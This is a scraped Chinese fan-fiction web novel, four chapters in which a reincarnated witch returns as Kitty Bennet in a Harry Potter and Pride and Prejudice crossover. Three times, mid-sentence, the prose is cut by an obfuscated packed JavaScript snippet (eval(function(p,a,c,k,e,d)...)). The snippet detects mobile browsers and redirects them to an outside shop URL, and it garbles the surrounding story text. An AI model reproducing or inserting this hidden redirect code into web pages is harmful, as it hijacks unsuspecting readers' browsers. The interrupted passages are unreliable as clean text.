《[综名著HP]我的室友后来成了我的嫂子》 1. 第 1 章 1888年,夏日。 英格兰的乡下,山野间大片的鲜花已盛开。朗博恩的花园里,蔷薇和绣球花铺满了目之所及之处。清晨的露水尚且还停留在娇嫩的花瓣上,微风过才温柔地滑落。 管家先生从信箱中取出邮差今早放进去的来信和报纸,一如既往地把它们送到班内特家的餐桌上。 班内特先生正坐在餐桌的主位享用着早餐,见此停下了用餐,接过那几封来信,简单阅读一番后,心里大致有了回信内容的想法。 他的目光移到今日的泰晤士报上,有些意兴阑珊地翻开。 班内特太太这时走进餐厅,看到正在安静吃着早餐的四个女儿和丈夫,脑子里的神经又紧绷了起来。 “噢,班内特先生,好心的班内特先生,我们可怜的女儿凯蒂还昏睡在床上,你怎么能这么悠闲自在地在这里吃着早餐呢?” 班内特先生捏着报纸的手指松开,任由报纸敞开在餐桌上。他有些疲惫地叹了一口气,这几天已经足够劳心,他先下已经没有了和班内特太太拌嘴的力气。 “从伦敦来的莱德医生今日下午就会到朗博恩了。你先坐下吃饭吧,这样才能有力气继续照顾可怜的凯蒂,班内特太太。” 已经出落得初具少女模样的大姐姐简·班内特,此时也忧心忡忡地看着父母,轻声问道:“妈妈,凯蒂还好吗?” 坐在简旁边的伊丽莎白和玛丽也抬起了头,看向班内特太太,只有年纪最小的莉迪亚还无所察觉地在吃着盘里的食物。 “和昨天一样,怎么叫喊都没有动静。”班内特太太泄力地在椅子上坐下,捂着胸口哀泣,“我可怜的小凯蒂,她才七岁,怎么会发生这样的事情……” 五天前的一个下午,正在朗博恩花园里和姐姐们一起摘花的凯瑟琳·班内特,在一阵突如其来的狂风后,晕倒在蔷薇花丛旁。 狂风和乌云散去后,匆忙躲进家里的姐姐们这才发现凯瑟琳没进室内,于是又着急地出去找人。是简先发现了倒在地上双眼紧闭的妹妹,她顿时吓得双腿发软,跪在凯瑟琳的身边呼救。 朗博恩的大人们听到声音后急忙跑出来,班内特先生给凯瑟琳简单检查了一番,确保了凯瑟琳身上没有伤口并且呼吸正常后,才抱起女儿回到室内。 班内特太太着急得脑袋胀痛,跟在班内特先生身后把凯瑟琳送回了卧室的床上。管家先生第一时间出门去找医生。但遗憾的是,这几天陆续从乡下和梅里顿请来的医生都无法诊断出凯瑟琳昏迷不醒的原因。 实在没有了别的办法,在凯瑟琳昏迷的第三天,班内特先生只好写信给伦敦的加德纳夫妇,请求他们的帮助,在伦敦请一位权威的医生,到朗博恩给凯瑟琳诊治。 今天是凯瑟琳昏迷的第五天了,加德纳夫妇请的伦敦医生将在下午时抵达朗博恩。 班内特太太囫囵吃了两口,只觉没有胃口,又放下了手里的餐具。她还在不断地絮叨着,说的都是些担心女儿健康的话。 简和伊丽莎白对视了一眼,她们都在为楼上还在昏迷的妹妹担忧。尤其是简,她这几天一直在自责自己没有照看好妹妹,导致了凯瑟琳的昏迷。 班内特先生察觉出了女儿们低沉的情绪,试图安抚餐桌上众人的不安。 他随机地选择了报纸上一个可能会引起大家兴趣的新闻,摘读了一段:“……火柴厂的女工陆续罢工,人数多达上千人。一些女工来到伦敦的街头游行,抗议在工作中受到的不公平待遇……”*1 这则新闻果然吸引了女孩儿们的注意,尤其是伊丽莎白和玛丽。 班内特先生读完新闻后,煞有其事地点评了一句:“伦敦的女工们都能到威斯敏斯特游行抗议了,说不定再过几年,你们一直神经紧张的妈妈,我亲爱的班内特太太,都不需要再为我们女儿们的婚事忧愁了。” 班内特太太对丈夫的这番话很是生气,说道:“班内特先生,你如果真的有一颗仁慈的心脏,就请为我的神经,还有女儿们未来的好姻缘多多着想吧!我可不想我的女儿们未来失去了朗博恩后,要可怜地到伦敦的街头上流浪。” 楼下餐厅争论的音量有些大,由于房门没关,凯瑟琳一睁眼就听到了父母的声音。 她的身体尚且还感觉有一些沉重,虽然已经清醒,但是她暂时还不想动。 凯瑟琳就这么张着大眼睛,直直地盯着天花板。 啊,真好。原来自己没有直接死掉,或者……没有又一次穿越。 是的,凯瑟琳·班内特不是真的凯瑟琳·班内特。 不对,应该说凯瑟琳·班内特不是傲慢与偏见里那个没有什么戏份,性格没有主见的凯瑟琳·班内特。 她回想了一下最初的那个身份,时间过去了太久,久到她自己都快不记得她原来是一个生活在二十一世纪的化学女博士林琪了。博士毕业答辩前夕,因为高强度的工作学习,她倒在了胜利来临的前一晚。 醒来时,她并没有在医院的急救室或者icu病房,而是在一个英国的麻瓜家庭里,成为了一个名叫凯瑟琳·阿什芙德的婴儿。直到十一岁收到了猫头鹰送来的offer,上了开往霍格沃茨的火车后,她才发现原来自己和大名鼎鼎的救世主哈利·波特是同年级同学。 不过她没有被分去主角扎堆的格兰芬多,而是被分去了拉文克劳。她觉得分院帽是有大智慧的,因为她确实适合去拉文克劳,毕竟智慧和学识向来是她的强项,看看她上一世卷到了博士就知道了。 她不负自己所望,卷过了原著里的学霸赫敏,整整六年都是年级第一,考试都是全O通过。至于为什么是六年第一…… 因为七年级的时候,伏地魔来了。 而她英勇地就义在伏地魔的绿光下了。 是的,没错,她又又一次倒在了胜利来临前。 但至少,她在这一世拿了六年年级第一,这个很重要的,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584287|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安慰自己。 还至少,她让小天狼星、卢平夫妇、斯内普教授、多比、塞德里克和弗雷德都活了下来。救人一命胜造七级浮屠,她这怎么也得有七七四十九级浮屠了。 被绿光打在身上的那一瞬间,她想着,如果这次不是真的死去,那么她让运气好一点吧。 至少,至少,至少不要又又又一次倒在胜利来临前了。 于是,命运做弄人。 真给她扔来了一片祥和有爱的傲慢与偏见的世界。 一下子从救世大战来到了言情鼻祖,气质转变得有些突兀,原谅她最开始没反应过来。 当她作为凯瑟琳·班内特,睁开眼睛看到自己婴儿般的小手时,她还在思考周围的人怎么都穿得这么古典,家里怎么这么……乡村风。 她第一次意识到这里是哪里,是在三岁的时候。班内特太太抱着还不到一岁的莉迪亚,追着闯了祸的伊丽莎白,大叫了一声伊丽莎白的全名。 “Elizabeth Be!” 她才第一次反应过来,这个熟悉的名字,不就是简·奥斯汀笔下的女主吗?她们五姊妹的名字,不就是简·奥斯汀笔下的班内特五姊妹吗? 原谅她实在是太长时间没有看过傲慢与偏见了,她实在是不记得那么详细的细节。 看来上一世死前的祈祷是有用的,老天还真的让她好运气地来乡下养老了。 不记得是在哪里看到过的一句话,乡村才是英格兰的精髓。她认为说得很正确。 英格兰的乡村幽静美丽,不像十九世纪伦敦脏污的空气,乡村的气息充满了生命力和植物的清香。这样的乡村生活确实惬意,如果没有班内特太太时不时为女儿们婚姻的紧张就更好了。 不过有简和伊丽莎白在,班内特太太应该还不会着急着张罗自己的婚姻大事。 她可是过了两辈子也没有谈过恋爱的人,十九世纪这种看对了眼就能求婚结婚的方式,她可接受不来。 不过……凯瑟琳叹了一口气。 这惬意的乡村生活以后可能也不再惬意了,因为她发现,自己竟然还有魔力。 五天前突如其来的狂风、乌云和晕倒,都是因为自己到了年纪,第一次魔力暴动了。 有了上一世的经验,她对这种感觉简直轻车驾熟,乌云出现在自己头顶的一瞬间,她就猜到了原因。 如果不出意外,再过四年,她又要再一次收到霍格沃茨的offer了。 想到这里,凯瑟琳感到有些一言难尽,她仔细回想了所有老教授们的年纪,唯一能想到这一世可能和自己做同学的人,只有邓布利多了。 梅林的袜子啊,邓布利多是哪一年生的来着?不会也是1881年吧? 难道这一世她是要倒在战胜格林德沃的前夕? 不对,等到格林德沃的时候,她都多少岁了?如果结婚生子的话,她那时候不会连孙辈都有了吧? 2. 第 2 章 事实证明,是凯瑟琳自己想得太多。 这一世在霍格沃茨的校园生活,顺利得难以置信。 不仅如此,她还弥补了上一世的遗憾,这次是真正做到了连续七年年级第一,所有巫师考试全O通过。优秀到连那位极端排斥麻瓜家庭出身巫师,号称霍格沃茨历史上最不受欢迎的校长——菲尼亚斯·奈杰勒斯·布莱克,都难得地对她漏出来一咪咪的好脸色。 尽管他还是会宣称这只是极为罕见的现象,纯血统永远最高贵。 但那又如何呢,反正她是非常丝滑地从霍格沃茨毕业了。 没有什么大魔王,也没有什么奇怪的没鼻子男。 毕业后,她在伦敦的加德纳夫妇家作客了两个月,才踏上了回家的路程。 此时,她正心情愉悦地坐在一辆从伦敦去往梅里顿的邮差马车上,阅读着好朋友邓布利多同学给她寄来的信。 *** 亲爱的凯瑟琳: 我离开学校后回到了戈德里克山谷。并在这里遇到了一位极为特别的朋友:盖勒特·格林德沃。 他与我年纪相仿,却有着远超同辈的见识与热情。我们初见时只随意聊起魔法,不料一谈便至深夜。他对魔法的理解近乎痴迷,我们常常一边散步,一边辩论。我几乎可以说,他是我从未遇到过的那种人:聪慧、勇敢、充满信念。与他交谈让我重新看见魔法的无数可能。 或许我该离开这片熟悉的土地,去看看世界上更辽阔的魔法文明。格林德沃似乎也有同样的打算,他的理想远大,而我想,也许这趟旅程能让我们都找到各自的答案。 倘若有一天你路过戈德里克山谷,请务必来信——我很愿意与你分享这些新奇的思想与故事。 永远诚挚的, 阿不思·邓布利多 *** “……” 您们老人家一谈便至深夜真的只是聊魔法而已吗? 由于校园生活太过顺遂,以至于凯瑟琳几乎都要忘记——邓布利多在1899年的夏天和格林德沃在戈德里克山谷还有一段过往了。 她看着手里的信沉思片刻,决定还是不蹚这一趟浑水。上一世的战争让她太劳心劳力,这一世她只想过过安静祥和的乡村生活。 平平淡淡才是真啊! 或许给邓布利多的回信可以写一写朗博恩的夏天是多么美丽,麻瓜们的生活其实也很有趣。 凯瑟琳这么想着,把信收好放回了口袋里。她轻轻地拍了拍蹲在身边的猫头鹰木兰的小脑袋,示意她送信的工作做得很好。 马儿踢踏踢踏声中,转眼间就抵达了梅里顿。凯瑟琳跳下马车,拎着自己的行李,和车夫道了别,便往朗博恩走去。 “班内特小姐,你要拎着行李走回家吗?”车夫看着凯瑟琳瘦瘦小小的身板,有些质疑道。 凯瑟琳回头:“是的,霍顿先生。不过我的父亲会让人在半路接我的。” 才怪。 她并没有告诉家里她具体到家的时间,也没有提前预约马车送她回朗博恩。行李被她用了一点小小的咒语减轻了重量,实际上这一箱行李和一个篮球差不多重。猫头鹰木兰也已经按照她的吩咐提前飞回了朗博恩。 她只是打算自己慢慢溜达回家。 说到家人们,当初收到霍格沃茨的offer时,由于她是麻瓜家庭,因此学校派了一位教授来接洽。这位教授用魔法稍微修改了班内特家人的记忆,所有人都以为凯瑟琳·班内特在某一次去梅里顿玩的时候,被一位来自伦敦的好心贵妇人相中,愿意出资资助她到伦敦的女子精修学校学习七年,做她女儿的陪读。 班内特太太一直以为凯瑟琳·班内特去的是伦敦最负盛名的女子精修学校,那里出来的学生,未来都是能嫁入好人家或者有一份体面工作的。她不止一次跟卢卡斯太太炫耀了凯瑟琳·班内特的优秀。 两个大女儿和小女儿都容貌出色,四女儿得体出挑,三女儿虽然没有什么能夸的,但至少学识不错。 班内特太太对于五个女儿能嫁个好人家那可谓是信心满满,总归神经没有那么紧绷了。 凯瑟琳还没走进家门,莉迪亚就在窗口边上看到了她。 “妈妈!爸爸!是凯蒂回来了!” 莉迪亚一路雀跃地从家里跑出来,她的后面跟着的是其他几个姐妹。 “凯蒂!你给我带了礼物了吗?”莉迪亚扑过去抱着凯瑟琳的手臂。 “给你从伦敦带了一顶帽子,你别太激动了,”凯瑟琳有些无奈,“一会儿把我的行李箱拽掉了,你的帽子也得跟着遭殃。” 她俩的相处模式简直和原著里完全相反,莉迪亚的性格除了贪玩爱美,并没有这么得放浪不羁,不服管教,相反她一直都很崇拜这个比她大两岁且能到伦敦上学的姐姐。整个家里,莉迪亚最听凯瑟琳的话了,几乎到了说一不二的地步。 除了这个妹妹有点粘人,但至少这下是不用这么操心她会跟着男人私奔了。 凯瑟琳心想着,粘人就粘人吧,不闯祸就好。 她施了一个无声咒,将行李箱恢复了原本的重量,递给女仆后,一一和家人们拥抱。 班内特太太的拥抱最窒息,她抱着女儿用力亲了两口:“噢,我的凯蒂,你终于学成归家了。” 班内特先生只是笑着,温柔地拥抱了凯瑟琳:“好孩子。” 大姐姐简还是那么温柔漂亮:“凯蒂,你比去年圣诞节回来的时候气色好了不少。” 去年圣诞节气色不好是正常的,那时候正为了NEWTs备考呢,全O通过可不是一件容易的事情。好成绩从来不单单只依靠天赋,后天的努力也是很重要的。 凯瑟琳:“简,你还是那么美丽。” 伊丽莎白捏了捏凯瑟琳还有些婴儿肥的脸蛋,白皙的皮肤还透着一点长时间步行后的粉红,格外可爱,“快和我们讲讲,你在学校毕业的趣事。可别告诉我们,你只给莉迪亚带了礼物。” 凯瑟琳示意女仆打开她的行李箱,“我当然记得给每一个人都带了礼物。” 自从去了霍格沃茨后,她和家人的相处时间大大减少,每年只有圣诞节和暑假的时候回家。不过凯瑟琳还是细心地记下了家人的喜好。 给班内特先生带了一支钢笔,给班内特太太带了有魔法加持的嗅盐,给简带了一条单颗珍珠的蕾丝颈链,给伊丽莎白带了一根浅紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584288|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的丝绸发带,给玛丽带了一套典藏版书籍,至于莉迪亚,当然是一顶漂亮的鹅黄色礼帽。 收到礼物的众人里只有班内特太太有些小小的微词。 “怎么只有我的是一罐嗅盐,凯蒂,你太偏心了。”班内特太太当然不是真的在抱怨,只是家里的嗅盐多得用不完了。 凯瑟琳:“妈妈,这一罐嗅盐可不是一般的嗅盐,这可是我在伦敦话了好大的力气,托了我的老师好不容易才买到的。比家里其他的嗅盐好用百倍,答应我,你一定得使用它。” 这当然不是一般的嗅盐,这可是她拉着魔药课教授一起研发的改良版嗅盐,对晕眩、恶心、头疼等症状有极其有效的缓解作用。并且还特地最大限度地降低了传统嗅盐中的潜在毒性。 班内特太太将嗅盐收进了自己的口袋里:“只要你们都能顺顺利利地嫁进好人家,我的神经就不会再让我痛苦了,自然也就用不到这么多嗅盐了。” 莉迪亚听到这话,像是想起了什么,兴致勃勃地拉着凯瑟琳的手在沙发上坐下:“凯蒂,凯蒂,有一件你还不知道的大事,想不想听听?” “什么大事?” 伊丽莎白也坐下:“就在前段时间,尼日斐花园有了新的主人。” “噢?是谁?”凯瑟琳装作惊讶。 “是宾利一家,”莉迪亚藏不住话,“从伦敦来的,听说他的年收入有五千英镑呢!爸爸已经拜访过了,过几天在梅里顿会有一次舞会,他们也会参加。” 凯瑟琳:“哇!那一定很有趣。” 可不是有趣嘛,傲慢与偏见的剧情要正式开始了。凯瑟琳有些敷衍地一边喝茶一边听着莉迪亚絮絮叨叨,想着自己在原著里也没啥戏份,就当个路人甲围观就好了。 毕竟是一个happy ending的故事,也没有什么地方需要自己出力救人。唯一可能有需要的就是莉迪亚和维克汉姆私奔了,到时候自己多盯紧一点这个最小的妹妹就好了。 对于未来二姐夫达西先生来说,没有什么是钞能力不能解决的。 对于凯瑟琳来说,没有什么是真·超能力不能解决的。 莉迪亚还在兴奋地说着舞会那天打算穿什么裙子:“……凯蒂,你打算穿什么裙子?噢,不对,凯蒂,你还没有正式地参加过社交活动!” 凯瑟琳端着茶杯的手顿了顿,莉迪亚说的还真没错。她十一岁就去了霍格沃茨,那时候年纪还小,还没到正式社交的时候。自从上了学,每年回家的时间加起来不到三个月,她根本没有时间正式参加任何的社交活动。 这个年代,每一个适婚年龄的姑娘都要参加社交,在舞会宴会上寻觅自己未来的另一半。 班内特太太也被莉迪亚的话提醒了,她对着简说:“离舞会还有三天而已!天哪,简,你一定得帮帮我,教教凯蒂如何社交。” 玛丽难得地开口提醒道:“妈妈,凯蒂刚从女子精修学校学成归来,她一定学过社交礼仪。” 班内特太太紧绷的神经松弛了下来:“对对对,瞧瞧我,差点都忘了。” 凯瑟琳:“……” 糟糕,她上学学的都是魔法,还真没学过什么舞会社交礼仪。 3. 第 3 章 撒谎是这个世界上付出成本最大的事情,因为一个谎言永远要用另一个谎言去圆。 凯瑟琳此刻深深理解了这个道理。 在去霍格沃茨上学之前,凯瑟琳也是有学习过不少时下流行的交际舞步。但很显然,对于舞蹈这门课程她已经荒废了许久,更妄论最近几年时兴起的新舞步。 全家人都认为她去伦敦最负盛名的女子精修学校深造了,对于礼仪、舞蹈、乐器、外语这些当下女性必备的社交技能应该都无一短板。*1 礼仪还可以紧急补课,而她本身就精通钢琴。至于外语,半吊子的德语、法语和母语级的汉语总能混过去——虽然这个年代会说中文好像并不流行。她的德语和法语,还是在霍格沃茨时,与邓布利多一起研究世界魔法史的时候恶补的,甚至连拉丁文也接触了一些。 她虽然是一个热衷于学习的学霸,但并不算是真正意义上的天才。那种花几个小时就能学会一门语言的情况于她而言是不存在的,造就她成功的是后天的努力。 她深知努力的艰辛,因此才会平等地嫉妒每一个天才。 嗯……没有仇恨的意思,就是单纯的嫉妒。 But anyway…现在最重要的事情,还是得找个老师把舞蹈这个课程紧急恶补下来。 为了谎言不被戳破,班内特一家人都不能找了。 其他邻里她也不熟。 结果就是……她根本找不到适合的老师。 而此时距离舞会还有两天。 班内特太太在翻看了一圈凯瑟琳的衣柜后,认为她没有一件能穿去舞会的裙子。因此紧急给了凯瑟琳一笔钱,招呼着几个姐妹一起去梅里顿给凯瑟琳买新裙子。 放眼古今中外,逛街从来都是大部分女孩子最喜欢的活动之一。 一整天下来,凯瑟琳如同一个等待着被人打扮的芭比娃娃,毫无怨言地任由几个姐妹给她从头打扮到尾。 等到下午回家的时候,她已经收获了三件新的礼服裙、两件新的日常裙、一件蕾丝披肩、五个发饰和一双新舞鞋。 她有没有买爽很难说,但是她觉得她的几个姐妹是买爽了。 这个世界果然是不能缺少女孩子的。你看她们,不仅仅热衷于打扮自己,甚至热爱给其他女孩子也打扮得漂漂亮亮的。 逛了小半天街的女孩子们依旧不觉得疲倦,回家的路上一直在叽叽喳喳地聊天。 简和伊丽莎白走在最前面,玛丽走在中间,手里还抱着刚刚新买的书,莉迪亚则缠着凯瑟琳走在最后面。一起来的女仆已经搭乘着顺路的邮差马车,和购买的一堆东西回了朗博恩,留下五姊妹们一边聊天一边慢慢步行回家。 莉迪亚的话密得像一个小喷菇,一直问个没停。一会儿问凯瑟琳在伦敦见过哪些贵族,一会儿问凯瑟琳在女子精修学校里都学了什么,和班内特先生请来家里的家庭教师教的礼仪有什么不同。 凯瑟琳当然都不知道,所以她只能胡编乱造一番。还好她至少不是一个没见过世面的人,她抬起手擦了擦额头上不存在的汗。 莉迪亚顺着她的手看去,目光定格在凯瑟琳后脑勺的发簪上。 凯瑟琳有一头浓密的浅棕色长卷发,和她绿色的眼睛十分相称,此时长卷发被一根木质的发簪稳稳地盘在脑后,一丝不苟。 莉迪亚:“凯蒂,你平时都是用木发簪盘头发吗?你盘得可真好,都没有碎发掉下来呢。” 当然盘得好啦,这可是凯瑟琳用了一点小魔法固定稳的盘发。 这也不是什么普通的木发簪,而是凯瑟琳的魔杖——一根中国龙鳞片内芯的紫檀木魔杖。她只是用了变形咒,让原本十一英寸长的魔杖缩短至一根发簪的长度了而已。只要抽出来,魔杖就能恢复原样施法。 不等凯瑟琳回答,莉迪亚接着自顾自说道:“但是你这样一丝不苟的盘发显得不活泼可爱啦。等到舞会那天,你一定不能再是这个发型。” 凯瑟琳对这个还真的没什么研究,于是不耻下问:“那换什么发型好呢?” “把头发披着吧,你的长卷发很好看。” “可是披着头发不方便。”不方便藏魔杖。 毕竟现在的裙子太长了,把魔杖绑在大腿上的话,掀裙子得掀几层才能抽出魔杖来。如果有个什么万一,她甚至来不及反击。 凯瑟琳绝对不认为这是上一世战争的PTSD,这更像是一种自保行为。毕竟十九世纪末二十世纪初的英国并没有想象中的那么安全,尤其是对一个单身女性来说。 莉迪亚像是听到了什么不得了的事情,瞪大眼睛道:“这有什么不方便的?” “算了算了,盘发也行,盘发也能做好看的发型。”莉迪亚打量着凯瑟琳的脑袋,“等回到家,我给你修剪一个刘海吧!这样盘起头发来也不会显得呆板了。” 凯瑟琳表示无异议,小妹妹开心就好。 事实上,她发现莉迪亚对于时装和造型确实颇有一番自己的见解,要是莉迪亚有心的话,或许她可以推一把,将莉迪亚培养成一个设计师? 想想这个年代的女设计师,香奈儿女士不就是1900年代起家的嘛。*2 “莉迪亚,你喜欢时装吗?” “噢,我当然喜欢啦!” “如果有机会的话,以后我带你去伦敦,逛逛哈罗德百货吧!”*3 走在前面的几个姐姐听到了她们的对话,纷纷转回头。 伊丽莎白:“凯蒂!你可不能只带莉迪亚去哈罗德百货,我们也要一起!” 简温温柔柔地应和:“我也想去看看伦敦的哈罗德百货呢,凯蒂。” 玛丽倒是不说话,只是抱着书直勾勾地看着凯瑟琳。 “去去去,都去。”凯瑟琳大手一挥,大饼一画,“等我赚了钱,我们天天去哈罗德百货逛街。到时候带上妈妈,想买哪个牌子就买哪个牌子。” 伊丽莎白大笑:“那爸爸呢?” 简:“爸爸一定很喜欢哈罗德百货里贩售的茶叶和烟丝。” 伊丽莎白:“噢,那妈妈一定又要抱怨烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584289|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味会熏得她神经紧张了。” “哈哈哈哈哈哈哈!” 晚上吃饭的时候,餐桌上的五个姐妹依旧在对视时忍不住笑出声。惹得班内特夫妇一头雾水,差点以为五个女儿今天逛街逛傻了。连班内特先生那独特的幽默感都无法加入女儿们。 晚饭过后,凯瑟琳洗过澡,换了睡袍躺在床上。 一想到距离舞会还剩下一天了,而她还什么舞步都跳不顺畅,就开始有些心急。 左思右想了一通,决定还是起来去找莉迪亚。 家里所有人里,只有莉迪亚最好忽悠了。嗯……她绝对不是在内涵莉迪亚的意思。 敲了敲房门,莉迪亚果然还没睡。她正趴在床尾翻看一本薄薄的故事书。 “凯蒂?这么晚了,你找我有什么事吗?” “是的,我是有一个小小的事情需要你的帮助。” 这是凯瑟琳头一回向她求助,莉迪亚惊讶地从床上坐起来,“什么事情?” “你知道的,我在女子精修学校里,学习的大多都是伦敦社交时兴的舞步。我对于家里这边流行的舞步并不太了解,你可以帮帮我吗?”凯瑟琳面不改色心不跳地扯谎,“你也说了,尼日斐花园来的可是真正的有钱绅士。我可不想第一次参与社交就丢了班内特家的脸。” “当然可以。”莉迪亚一个翻身下床,站在凯瑟琳的对面。 显然莉迪亚对凯瑟琳的话深信不疑,根本不觉得有任何的问题,她甚至觉得凯瑟琳真是一个谦逊的人。 凯瑟琳看着真诚的妹妹,良心有点点刺痛,“嗯……这样吧,明天我们在花园里,你帮助我顺一顺舞步,如何?” 莉迪亚拍了拍凯瑟琳的肩膀,一脸交给我你放心的表情:“没问题,你就是太紧张了。我第一次和简她们一起去参加社交的时候也很紧张,但更多的是兴奋。” 看来莉迪亚是把她的表现当做是第一次社交的紧张了,凯瑟琳舒了一口气。 太好了,就连理由莉迪亚都帮她想好了。 第二天吃完早饭,莉迪亚就拉着凯瑟琳欢快地跑去了花园里。 她很贴心地先单独跳了一遍女步,然后再带着凯瑟琳跳了一遍。几次下来,凯瑟琳基本上就把所有舞会上可能会跳的舞步都学会了。 学霸到底还是学霸,凯瑟琳有点小得意,只要是通过学习就能学会的东西,没有什么能难倒她。 简和伊丽莎白在花园里摘鲜花,看到两个妹妹在跳舞,又听了莉迪亚那套第一次社交紧张的理论,立刻也加入了进来。两个人一边剪花一边指点凯瑟琳的舞步。 到最后,伊丽莎白提议玛丽弹琴,让凯瑟琳跟着音乐来跳一遍。 简轻柔地摸了摸凯瑟琳的头顶:“多跳几遍你就不会紧张了,凯蒂。你这么漂亮又可爱,舞会上一定会有很多绅士来邀请你跳舞的。” 多亏了莉迪亚,现在所有人都把她学舞步的行为当成是她紧张了,大大地省去了不少烦心的解释。 这怎么不是一个美丽的误会呢。 4. 第 4 章 班内特太太十分重视这一次的梅里顿舞会,抱着必须让其中一个女儿入住进尼日斐花园的决心,她早早就起了床,指挥着女仆给女儿们拾掇。 除了凯瑟琳外的四个女儿已经多次参加过社交舞会,在打扮方面她并不多操心。只有凯瑟琳,班内特太太放心不下,一定要亲自操刀她的妆造。 在前天买的礼服裙中挑了一件嫩黄色的,班内特太太让凯瑟琳换上。又从为数不多的饰品中选了一条花朵样式的项链。 凯瑟琳站在梳妆台前,抬着双臂,任由女仆帮她整理礼服裙摆。 班内特太太:“你想要梳什么发型?” “盘发,妈妈。” “凯蒂,你平时就总是盘发,舞会的时候至少把你那头美丽的卷发放下来吧!” “妈妈,我可以在发簪上做一些装饰,这样就是一种别出心裁的发饰了。” 班内特太太说不过女儿:“这是伦敦小姐们流行的打扮吗?” 凯瑟琳睁眼说瞎话:“算是吧,妈妈。” 班内特太太摆摆手,提起裙摆往楼下去,“随便你吧,我去花园给你摘两朵新鲜的蔷薇花,你把花朵缠在发簪上。花园里那丛香槟色的蔷薇花开了不少朵。” 还有比班内特太太更可爱的妈妈吗? 凯瑟琳捂着嘴笑出声,朝着班内特太太离去的方向喊道:“谢谢妈妈!” 正在下楼的班内特太太听到女儿的大喊,只在嘴里碎碎念道:“真的要感谢你们可怜的妈妈的话,就在今晚找个好人家的绅士订婚吧。” 已经打扮好的伊丽莎白路过楼梯,听到了妈妈的话,她来到凯瑟琳的房间外,靠着房门门框,满意地打量着凯瑟琳今天的装扮。 这件嫩黄色的缎面礼服裙是她挑选拍板买下的,果然十分适合凯瑟琳。 “你和妈妈说了什么?她下楼梯的时候还在念叨着要你今晚就找个好人家的绅士订婚呢。” 凯瑟琳穿好了裙子,示意女仆可以离开,去帮助其他还没打扮好的姐妹。自己在梳妆台前坐下,正要开始盘发。 伊丽莎白走到她的身后,拍开了凯瑟琳的手,拿起梳妆台上的梳子,喷了一些香发油,轻柔地将凯瑟琳那头浓密的浅棕色长卷发梳顺。 “没说什么特别的事情,”凯瑟琳手指灵活地转着魔杖,“妈妈不总是这么说话吗?” 伊丽莎白笑道:“这倒是,妈妈十分有信心我们之中一定能有人成为尼日斐花园的女主人。” “说不定妈妈的美梦真的能成真呢。你和简这么美丽,一定可以得到尼日斐花园现任男主人的心的。” 伊丽莎白惊讶:“凯蒂,我还从来不知道你会预言呢。” 好吧,伊丽莎白现在还当她是在开玩笑打趣呢。 凯瑟琳用魔杖点了点自己的下巴,暗自腹诽,今晚可有好戏看了。 “梳好了,你需要我帮你盘发吗?” “我自己来就好。”她熟练地将头发盘起来,动作快得伊丽莎白险些没看清楚她是怎么做到的。 “哇噢,”伊丽莎白惊呼,“你盘发盘得可真好。” “熟能生巧。” “莉迪亚给你修剪的这个刘海很适合你,凯蒂,很好看。”伊丽莎白看着镜子中的妹妹。 “谢谢。” 摘好了花的班内特太太回到房间里,她找了一根金色的细绳,将两朵开得正盛的香槟色蔷薇花缠在了“木发簪”上。 凯瑟琳悄悄地施了一个无声咒,让花朵看起来更加娇艳,哪怕再过七十二个小时,都依旧如同刚刚盛放时那样娇嫩欲滴。 没想到上学时和邓布利多一起研究的食物保鲜咒,竟能在此时派上用场。 等下次给邓布利多写信的时候一定要把这个趣事告诉他。 班内特家到达梅里顿舞会的时机不早也不晚,舞厅内已经有不少男士在推杯换盏,乐手们正在调试乐器,而小姐夫人们则是聚在一起互相寒暄。 凯瑟琳跟在班内特太太身后往深处走。这是她第一次正式参加这样的社交活动,在场有许多人对她脸生。大家都知道班内特家有五个女儿,却很少有人在这样的场合里见过四女儿凯瑟琳。一时之间,她成为了在场被关注度最高的人。 班内特太太倒是很高兴,拉着凯瑟琳的手一一向众人介绍她。 “虽然大家总说简是最漂亮的那一个,但是要我说,凯蒂才是班内特家最优秀的一个女孩儿。她可是被伦敦的格里维尔夫人看中,成为她的女儿艾娃小姐的伴读,一起到伦敦肯辛顿切尔西区的女子精修学校学习的。 要知道那可是伦敦肯辛顿切尔西!凯蒂可见过不少伦敦的贵族和大人物们!没有人会认为凯瑟琳不是一个得体美丽的淑女,她将来一定可以找到一门好姻亲,成为我和班内特先生的骄傲。” 虽然知道班内特太太没有恶意,但是,妈妈,夸人也不要这样踩高捧低的啊。 难怪所有读者都会认为班内特太太偏疼最小的两个女儿。 